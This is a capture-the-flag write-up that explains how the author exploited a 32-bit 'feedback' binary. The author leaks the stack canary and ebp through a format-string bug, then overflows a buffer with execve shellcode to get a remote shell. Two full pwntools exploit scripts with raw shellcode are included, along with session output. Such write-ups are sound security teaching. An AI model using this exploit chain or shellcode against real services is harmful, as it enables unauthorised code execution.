Feedback Submission (150 points) [Security Mooc CTF]
Here’s the file link.
This was a question I attempted at the last and had a little difficulty since I did the last question first, so maybe I was thinking in that direction.
We have build a feedback program, We want someone to test it for existance of any
vulnerability. Any help would be rewarding. Here is the binary file. Use nc 52.7.95.224
8030 to connect to server
Using checksec
on the file :
$ checksec feedback
[*] '/home/kunal/Documents/CTF/securitymooc/CTF/feedback/feedback'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
Let’s run the file with ltrace
:
$ ltrace ./feedback
__libc_start_main(0x8048671, 1, 0xffcdcaf4, 0x80486b0 <unfinished ...>
setbuf(0xf76e0d60, 0) = <void>
printf("Enter your name here: "Enter your name here: ) = 22
__isoc99_scanf(0x8048747, 0xffcdc9c8, 0, 0xf7715b48Kunal
) = 1
printf("Welcome to Feedback Submission P"...Welcome to Feedback Submission Portal ) = 38
printf("Kunal"Kunal) = 5
putchar(10, 0xffcdc9c8, 0, 0xf7715b48
) = 10
printf("Enter your feedback here: "Enter your feedback here: ) = 26
read(0Feedback
, "Feedback\n", 582) = 9
puts("Thank You"Thank You
) = 10
+++ exited (status 0) +++
Looking at the dissassembly, we see there’s no call to any Flag printing function or any call to system()
anywhere in the code.
So we have the following things in our hand:
- A stack canary (
checksec
). - A format string vulnerability (unprotected
printf()
insidegetName()
). - No call to
system()
or anything that would print a flag. Thus we require shellcode injection most probably usingsubmitFeedback()
’s buffer. Good for us, it reads0x246
chars but has a size only of0x21c-0xc = 0x210
.
Skip to the solution if you don’t want to look at what I initally tried and failed at :P
What I tried (and failed at)
This was all consequence of doing Doge Messenger first.
One of the options I could opt for was I could overwrite the canary exception (in the stack) with my shellcode (very very far into the stack) so that after the canary check fails, it executes my code instead.
After messing around with that idea I realised that the address was too far apart and another function call (I think vprintf()
) was utilising that code and some other problems. I abandoned this idea.
Next I tried the same thing I could do with Doge Messenger. Overwriting the GOT for the exception using %n
with another address so that it never fails, and I tried doing that. But ended up getting confused on how to jump to my shellcode, since even if I entered it now, I didn’t know the address to the shellcode, so how do I overwrite the eip
?
After a lot of headbanging I realised I should seek a little help and did the below:
The Solution
I consulted my senior (the expert 🙏). And then I realised I was ignoring something:
We have the
printf()
: we can print out the addresses on the stack, including theebp
and the canary.
I hit up the program with a few %p
’s. Using gdb and python, we see that the canary is at %31$p
and the ebp
(of main()
) at %34$p
.
So here’s the plan:
- Leak the canary and stack.
- In the
submitFeedback()
function we have a buffer, inject the shellcode, restore the canary and change theeip
formain()
to the buffer’s beginning.
Here are the required offsets after calculation:
- Buffer size :
0x21c-0xc
. - Difference between
ebp
’s:ebp-(0x21c+0x10)
which can be easily calculated by looking at the difference ofmain()
’sebp
andesp
(which is0x8
) and adding0x8
(for savedeip
andebp
) to that difference (total0x10
) using the gdb just before stepping intogetName()
. - Now,
submitFeedback()
’s buffer is at[ebp-0x21c]
according to its ownebp
, which differs bymain()
’sebp
by0x10
. Thus, buffer is at[ebp-0x10-0x21c]
=[ebp-556]
. - Difference between the canary’s location and saved
ebp
is 12 bytes.
Thus the payload becomes:
shellcode + padding for remaining buffer + canary + padding + [ebp-556]
I grabbed the shellcode from shellstorm (check under Linux x86, I grabbed the 23 bytes one) for execve("/bin/sh")
. Which seemed OK.
So we construct the payload:
import struct
from pwn import *
r = remote("52.7.95.224", 8030)
print r.recvuntil(':')
r.sendline('.%31$p.%34$p')
o = r.recvline()
add=o.split('.')[::-1] #adresses
ebp=int(add[0][:-1],16)
canary=struct.pack("I",int(add[1],16))
bufsize=0x21c-0xc
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
buf = shellcode+'A'*(bufsize-len(shellcode))
payload = buf+canary+'A'*(12)
ret=struct.pack("I",ebp-556)
payload+=ret
print add[:-1]
print r.recvuntil(":")
print repr(payload),len(payload)
r.sendline(payload)
r.interactive()
But there was a little twist when I ran it on the server:
$ python exploit.py
[+] Opening connection to 52.7.95.224 on port 8030: Done
Enter your name here:
['0xff875648\n', '0x7270d800']
Enter your feedback here:
'1\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\xb0\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\xd8prAAAAAAAAAAAA\x1cT\x87\xff' 548
[*] Switching to interactive mode
Thank You
$ ls -al
total 32
dr-xr-x--- 2 feed feed 4096 Jun 25 20:21 .
drwxr-xr-x 16 root root 4096 Jun 25 20:21 ..
-r-------- 1 feed feed 220 Jun 23 07:14 .bash_logout
-r-------- 1 feed feed 3771 Jun 23 07:14 .bashrc
-r-------- 1 feed feed 655 Jun 23 07:14 .profile
---s--x--- 1 1001 feed 7680 Jun 19 18:27 feedback
-r-------- 1 1001 1001 39 Jun 23 07:14 flag.txt
$ cat flag.txt
$
It doesn’t give any output.
I thought there might be something wrong and thus, tried other shellcodes. But to no avail. I then checked /etc/passwd/
and this is what it said in the last line:
feed:x:1000:1000:,,,:/home/feed:/bin/bash
Then it struck me: Let’s try /bin/bash
instead of sh
, which then worked (the same thing which /etc/passwd
just told us). Here’s the updated payload and output:
import struct
from pwn import *
r = remote("52.7.95.224", 8030)
print r.recvuntil(':')
r.sendline('.%31$p.%34$p')
o = r.recvline()
add=o.split('.')[::-1] #adresses
ebp=int(add[0][:-1],16)
canary=struct.pack("I",int(add[1],16))
bufsize=0x21c-0xc
#shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
shellcode="\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"
buf = shellcode+'A'*(bufsize-len(shellcode))
payload = buf+canary+'A'*(12)
ret=struct.pack("I",ebp-556)
payload+=ret
print add[:-1]
print r.recvuntil(":")
print repr(payload),len(payload)
r.sendline(payload)
r.interactive()
$ python exploit.py
[+] Opening connection to 52.7.95.224 on port 8030: Done
Enter your name here:
['0xffa3a1c8\n', '0xff819b00']
Enter your feedback here:
'j\x0bX\x99Rfh-p\x89\xe1Rjhh/bash/bin\x89\xe3RQS\x89\xe1\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x9b\x81\xffAAAAAAAAAAAA\x9c\x9f\xa3\xff' 548
[*] Switching to interactive mode
Thank You
$ ls -al
total 32
dr-xr-x--- 2 feed feed 4096 Jun 25 20:21 .
drwxr-xr-x 16 root root 4096 Jun 25 20:21 ..
-r-------- 1 feed feed 220 Jun 23 07:14 .bash_logout
-r-------- 1 feed feed 3771 Jun 23 07:14 .bashrc
-r-------- 1 feed feed 655 Jun 23 07:14 .profile
---s--x--- 1 1001 feed 7680 Jun 19 18:27 feedback
-r-------- 1 1001 1001 39 Jun 23 07:14 flag.txt
$ cat flag.txt
flag{aUiuC7R1MXdOnLdzxJYp6hHqAHfQxeM0}
$